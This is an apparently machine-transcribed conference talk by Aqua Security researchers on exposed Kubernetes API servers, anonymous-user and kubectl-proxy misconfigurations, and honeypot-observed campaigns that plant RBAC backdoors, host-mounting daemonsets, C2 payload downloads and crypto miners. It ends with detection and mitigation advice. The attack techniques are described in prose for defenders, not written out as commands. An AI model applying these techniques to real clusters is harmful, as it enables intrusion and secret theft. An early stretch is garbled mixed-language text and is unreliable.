가지고,uh Hello everyone, my name is Mikhael Kaczynski and I'm a Security Researcher at ACWA. I'm also a computer-sized student at Technion in Haifa. At my work at ACWA I focus on researching and analyzing new attack vectors on cloud native environments. Hi, and my name is Asaf Mouragh and I'm very excited to be here. I'm interested on Threat Intelligence and data analysis with ACWA Outuse. אקווויר memor is a Synap Company. We aim to protect all the workloads and environments of Cloud Native, starting from code through CACD, registries, and workloads. And Aqua Nautilus is the research team in Aqua. We want to learn about the attacks, the attackers, what they are doing, how they are doing it, what they are doing after they get in. Yay, we are doing it in order to understand how we can Right detection and how we can help our Customers in the community to protect again These kinds of attacks today. We are going to talk with you about research That we've been conducted over the past three months And it obviously ‫כאילו שני ימל שכבר ידעים ‫בסטרופים. ‫אז אנחנו נראה אתכם ‫שפקת של עצמך, ‫בספקים ששכבים ‫שאנחנו רעשים, ‫ואנחנו נראה אתכם ‫שפקת של עצמך ‫באנבעים של חניפות. ‫אז אנחנו נשאר אולי ‫שפקת של עצמך לדטק את מלווארת בין קוברנטיס קלאסטר. זה יהיה חייל. ואני אעשה לך שאתה לדטק ומטיג את כאלה הזכות. אוקיי, למה קוברנטיס? אנחנו בין קוברנטיס קונפרנס. ובאית 2023, אתה לא יכול להיות קבל, בין יודעת מה קוברנטיס הוא. אבל אתה כבר יודע את זה. אתה גם יודע את היו קוברנטיס. אתה יכול להביא שאתה רואה שקוברנטיס ומלווארת בין קוברנטיס הוא כבר נעשה עוד שנה, וגם את היו קוברנטיס. וזה בעצם כבר גולד סטארנדרד. וכן היו קוברנטיסים, פרווידרים כמו ה-WS ו-אז'ו, הם כבר ידוס את היו קוברנטיס וזה יכול להיות כבר איזשהו, כדי להגיד את היו קוברנטיס, ואז את מיכל א resembל את זה, אבל זה לא רק חתיד�ים ש часто מפג отношים שנ ail וגם אצלettleMay היו פג verloren כשהן צאן והאת σου הם יד Iraесть את היו קוברנטיס כשב nutrient והן רוצה לחר איתם לחיorious כושל הש друзות ולהגע разр Cynthia אבל לא רק איתם יד поддержים חgive גם dod தח Bam שהיהLittle שירים שפגישים מאוד טובה בגירי, אז כובלט, כובלט, אצד, אפייסרוור, הם all in the game, they are all being targeted. אוקיי. Let's talk a little bit about Kubernetes attack vectors. אוקיי, אז זו טיפיקל כובלנטיס קלאסטר. It consists of a control plane and two nodes. You can see on the control plane there's the Api server, the XCD, the schedule, and the controller. And on the nodes there are the Qubelet, the proxy, and your other application. Each of these components could possess some risk to your cluster when doing something wrong. From public-facing applications with non-CVs and exploit, to misconfigured applications such as Kubernetes dashboard, for instance, a misconfigured Qubelet, and even misconfigured API servers, we've heard it all for the past few years, and they're countless of attack vectors into a Kubernetes cluster. On our research, we chose to focus on the API server as the attack surface. The API server is the primary entry point to the cluster. It has full control over the cluster, and it is frequently located outside of the VPC, which means that everyone with practically internet connectivity would be able to connect to it. It also governs the Arbakan secrets. And lastly, we must remember that Kubernetes is just one part of the software development lifecycle. So on a standard cluster, you might gonna have some integrations to third-party applications. For instance, you're gonna have a MongoDB, and this MongoDB is outside of your cluster, and you will need to interact with it somehow. You will need to save the credentials of this MongoDB somewhere on your cluster. Moreover, you might have a Docker registry that you need to pull and push images from. Those credentials to the Docker registry will be also saved somewhere on the cluster. And it's important to note that we've seen lots of attacks on Kubernetes clusters. In most of them, when an attacker gained foothold into the cluster, they usually tried to access the API server. So for attackers and for us researchers, gaining access to the API server with high privileges is like getting the keys to the kingdom. Okay. So we decided to name our talk 1ML away from disaster. This is because two main misconfigurations that we kept seeing, and both of them possess immediate third-to-clusters. They are not new. We have seen them for a long time, but we wanted to figure out why they keep showing up, and we wanted to see what's the impact that they still cause on organizations. Let's deep dive into the first misconfiguration. As you can see on the screen, this is the zero-click default misconfiguration of an AKS. As you can see, the API server will be located outside of the VPC, which, as I said earlier, it means that everyone with practically Internet connectivity would be able to reach it. And on the bottom of the screen, you can see a simple show-down search on this query. We found that there are over 1.1 million Kubernetes clusters that are accessible from the Internet. Moreover, there's a very nice flag called anonymous auth or anonymous authentication. This flag is enabled to true on Kubernetes native, and it practically means that everyone who wants to connect to your cluster and chooses to do it without a specific authentication method will be automatically assigned to a user, and this user is called system anonymous. As you can see also, this flag is enabled on AKS as well. It doesn't mean that the system anonymous user will have any permissions, but we would be able to get assigned to it. So let's go over the process of interacting with your cluster. DevOps and developers try to access the cluster. They go through the HCD, and if network controls allows it, they go through a phase of authentication and then through a phase of authorization. When doing the same thing with the anonymous user, things get a little bit different. We try to reach the API server, and then we go only to our phase of authorization, the authentication phase is completely redundant. So to sum it up, we saw that we might gonna have connectivity to the API server because of the default configuration, and we will have a user, and this user is the system anonymous user. The system anonymous user or the configuration is a known problem, and since 2019, people started complaining about the case to change this configuration, and even two years later, and even until today, nothing has been done to do it. So to sum it up, the default configuration makes us one step away from disaster. Giving anonymous user any permissions will practically mean that we are giving permissions to the whole world. And as you can imagine, we've seen clusters that gave the anonymous user some permissions. This is an example from a cluster that gave the anonymous user cluster any permissions. Okay, let's deep dive into the second misconfiguration. We have already seen this slide, and there's a very nice feature on Qubectl, called Qubectl proxy. It is a proxy and it runs on your workstation. The proxy will start listening on port 8001 by default, and it will accept requests from the localhost network interface. It is commonly used for convenience and even to access internal applications that are not exposed outside of the cluster. Combined with those flags, with the address equals 0000, it means that now the proxy on the workstation will listen on all network interface, not just the localhost, and when combined with the accept hosts flag, it will accept requests from all of the reachable hosts. So for example, you have a developer in your company, and this developer is working on a large private network or even on an EC2 with an exposed IP address, with an external IP address. Everyone that could reach your developer's workstation would be automatically forwarded on port 8001 by default, as I said, to the API server. So you might think to yourself, this is not that horrible because we saw already that around 1.1 million Qubectl clusters that could be accessed from the outside. But this is not the case. This is a real security risk because if someone would be able to access your developer's workstation, they will automatically gain the permissions of your developer. So if your developer is a cluster admin, for instance, there will be cluster admins as well. It is also quite problematic to control because you can control everything that your developer is doing on their workstation. It's not like writing OPPA policies or something on your cluster. It mainly happens on the workload, on the workstation. And there are even blogs that explain about it and explain how to run this command. And they tell you how to deploy the Kubernetes dashboard to make it available, but they don't understand that they're exposing their whole cluster. So let's talk a little bit about the findings and use cases and what we found out there in the wild. We've started with around 1.1 million Qubectl clusters, as I said earlier, and we've ended with around 350 impacted companies. Some of them companies were small, some were medium and some were large, Fortune 500 large. They came from various sectors, financial, aerospace, car manufacturers, industrial security, and more. And the cluster size range between 1 and 30 nodes. The clusters were from all around the world, from America to Europe to Southeast Asia. And we've seen clusters from all of the cloud providers. We've seen Amazon, we've seen Google, we've seen Microsoft, we've seen Alibaba Cloud, and we've seen Yandex. In most cases, we were able to query the config maps and secrets, but on some we did not. We had just the permissions, for instance, to list the pods. And this is an example of a real cluster that we were able just to list the pods. We found a nice pod, its environment variables, containing information about the AWS access keys, the MongoDB, the Google, the Facebook, the Redis, the Twillow, and every application email. Do you remember that I talked with you a few minutes ago about integration to a third-party application? So this is the case. And just to emphasize, it's not just closing the door and fixing the misconfiguration and making sure that everything is fine. You're gonna need to check all your third-party applications and you're gonna check there are no backdoors and nothing has been left or no one has breached. Another cool use cases that we've used is using the built-in proxy of the Kubernetes API server. It's not the kubectl proxy. It's a built-in proxy and it's located on the API server. This proxy enabled us to access internal applications. Those applications were not exposed or they were exposed, but they were behind the firewall. We were able to proxy ourselves from the API server into those inside applications. Some of these applications did not have any security measures because they were internal. But on some, we didn't need to enter user and credential. But to be honest, we found the users and credentials somewhere on the secrets and we were able to get access to the harbor, as you've seen before, to the elastic search, more databases and more applications, which was quite fun. Now, let's take a look on a cluster that we've seen out there. This cluster is a mini-cube, just one node, and as you know, mini-cube is mainly used for testing on local environments. This mini-cube had a MySQL Kubernetes dashboard and MongoDB. But on those secrets of this mini-cube, we found credentials to the MongoDB, the GitLab and the Yandex Cloud. This MongoDB and the GitLab and the Yandex Cloud belonged to production systems, not the MongoDB, and we practically got the databases, the source code, the credentials to the Yandex Cloud and we had access to the whole software development lifecycle, which was compromised. Now, I'll hand it over to Asaf and he will continue. Michael didn't convince me. Can you hear me? So, Michael didn't convince me. It's just a mini-cube. Who cares about a mini-cube? But this is a little bit different. We also found some bigger clusters, like this one. This is 21 clusters exposed to the internet and the admin here, the Kubernetes admin, rend the kube-ctl proxy command, not on one, on five EC2 endpoints servers. And all these five EC2 machines were exposed to the world. So, one of them had an admin privileges. So, through that you can tunnel exactly, as Michael said, to the cluster, to the API server and get an admin access to the entire cluster. And just think about it. Just think about it. MySQL, the Airflow for the machine learning, the SSO, the single sign-on of the company was in there, AWS credentials to the console, to S3, Helm and so on and so on. So, the remediation of such a disaster is to close the company. No, I'm kidding. But just think about it. You really need to stop the cluster. You need to rotate everything there. You need to rotate the keys. Think about how many days you're losing there. So, we wanted to show you some examples, not only of companies that we've seen and we've seen a lot of companies. We spoke with a lot of companies. We spoke with a lot of mortified practitioners and engineers. But we also wanted to share with you some intelligence, some information from our honeypots. And as the research team, we build honeypots. We build the honeypots in order to understand what the attackers are doing once they are getting in. Because with honeypots, what you do is you create an application or an environment, you insert, you introduce misconfiguration or vulnerability. Most of the times, they get in the attackers through that. Sometimes, they surprise you and then you learn about new vulnerabilities or misconfigurations. And in this case, we have many honeypots such as Redis and MongoDB and so on. But in this case, we created a honeypot of Kubernetes. We exposed the API server to the world with admin privileges. So everyone can get in and we hid some surprises there such as Canary tokens, secrets. I'm going to explain about it in a few moments. And Tracy. Tracy is Aqua open source. I'm going to explain about Tracy later too. But it basically records in the kernel level events and allow us to learn and to understand about what the attackers are doing. Okay. So first, I'm going to speak about the SSWW campaign and I'm going to explain what is the SSWW campaign in a few moments. The first thing the attackers are doing when they get into the environment is to understand further about the environment. It's only natural. Just they're listing the nodes and they're seeing which nodes are there. Very simple. Next, they're deleting competitive campaigns. So think about it. You have some you haven't exposed environment. Maybe some other attackers have already exploited it. So they're trying to remove the noise, reduce the noise and to reduce the the CPU consumption because most of the campaigns that we see there are of crypto mining. In this case, we didn't have it. So they got a 404. Next, they're deploying their own demon set and when deploying this demon set, they're actually running a pod with crypto miner on each of the nodes and let's let's dive a little bit deeper to what they're running there. So as you can see in the commands, they are mounting the file system, the root file system and gaining access to the host each of everyone of the of the host because it's a demon set and they're running Chrome job with SSW they're doing in the middle you can see that they're doing care downloading SSW from from the C2 their server which is basically what we call secondary payload but they can run now that they have access to and each and every one of the nodes they gain strong persistence and they can run their basically whatever they want in this case they ran some crypto miners and rootkits but they can do whatever they want so just to sum up it's the SSW W campaign it's it's a very strong campaign because they gain strong persistence another persistence another campaign is the RBAC Buster we wrote a blog about it so you can read a little bit further than what we're showing here on our website but the RBAC Buster basically the first thing that the attackers are doing is to create a cluster role and it's basically an admin cluster role this cluster role is with the name controller cube controller and it's a pretty standard name so we shouldn't suspect that something is wrong with such a cluster role then they're doing a cluster role binding to another standard service account and again nothing that should raise any suspicion here because it's all very looks legitimate and very standard then they are listing the secrets by doing that they're collecting they collect the token and now that they have the token with a role an admin role that they just created they can gain access if we close the vulnerability or misconfiguration or the first initial access that they gained because it's irrelevant now they have an access to the cluster next they listed the config maps because we hid there and this is something I talked about earlier they hid their canary token canary token is not an ordinary AWS or any other secret it basically beacons back to us so now whenever someone is using it we know that they used it and in this specific case they were trying to see what this AWS key can do so they are not just listing the secrets they are also using them next they ran they ran a demon set and again the demon set runs on each and every available node and in this case they are using the cube controller again the same name and they are running from Kubernetes IO a cube controller it seems very innocent but if you have noticed it's not Kubernetes IO it's a Kubernetes IO and it's a type of squatting it's a technique attackers are using downloading from Docker Hub a crypto miners but again they can download whatever they want now they have strong possession of the cluster okay so let's sum up everything that we spoke about attackers are massively scanning for misconfigurations and vulnerabilities they hide back doors so even after we closed the initial access and sometimes we've noticed that in the large organizations it took them between three hours and few days to discover the misconfiguration so they understood that something is wrong and closed it in some other companies smaller ones it took a little bit longer they are masquerading the malware and the malicious tools that they are using and they are scanning for secrets and using them so I think you are ready and we can play a little game together so we listed this is an actual organization that was attacked in the wild we listed the pods anyone can find the malicious pod okay let me help you I just wanted to make a point that it's difficult and you are missing some information and the ability to query the cluster but if you run the logs of this specific pod you can see that it is trying to communicate with support XMR support XMR if you are a crypto miners enthusiastic or security enthusiastic you know that support XMR is a crypto mining pool and this innocent looking pod actually is running malicious content so that's it let me challenge you a little bit further so this is a more realistic cluster and I assure you and it's not just the there are two screens and I assure you that there is a malicious pod it's list one running here so just to help you with that again this is the cube controller this is actually the example of the RBAC of the RBAC Buster and if you had this kind of crypto miner or this kind of malicious tool running in your cluster whether if it's with this tool or any visualization or orchestration tool it will be extremely difficult to understand what's running there and that there is a malicious content so let's get a little bit serious and talk about how you can detect and what you need to do in order to mitigate so one open source tool by Aqua security is Aqua Cubanter it's a great tool for Pentester and red teams designed to scan from the outside and you can get some great information such as exposed APIs services secrets and so on you can download it from Aqua security or you can run it from Docker Hub from Aqua security Github and once you run it you will get information about your nodes your API server and you are also going to get information if you have any exposure such as your API server is listening to the outside to anyone to unauthenticated user or anyone can list roles secrets and so on another great tool open source tool by Aqua security is Aqua Trevi I don't know if you I'm sure that some of you or all of you have heard of it or used it it's an all-in-one security scanner you can scan your environments you can scan Gith Repositories Container Images File System and even Kubernetes and you can gain a lot of information such as the S-Bomb Vulnerabilities Misconfigurations Licenses and so on and another open source tool by Aqua security Aqua Tracy and this is what we use in our in our 100% environments it's a runtime security and when it's utilizing EBPF technology we capture events in the kernel level and it comes with built-in security policy or security rules which allows you to detect malicious activities such as malware rootkit malicious network events and so on we also highly recommend to use some admission controls such as this one that we've found in in Artifact Hub it will disallow the association between cluster role and anonymous users and will help you straighten your environments and to sum up you can scan from the outside with Trivi and Cuban and you can scan your control plane and on the other side the nodes the workloads the containers and you can install Tracy on your nodes and use Artifact Hub policy admission controls to harden your control plane Okay, just to sum up the mitigation we at Aqua Security believe in a defense in death which means that the security should be handled in layers and I think that right now we are doing the first layer of education just to learn about what attackers are doing the implications of these misconfigurations and there are further there are many more layers of education that you can you can absorb we strongly advise to use compliance and control policies in your environments limit the traffic we've seen that there are lots of exposed API servers there you should really limit the traffic to the API servers and any other significant environments use admission controls scan your clusters and monitor your workloads we wish to thank you and enjoy the rest of the day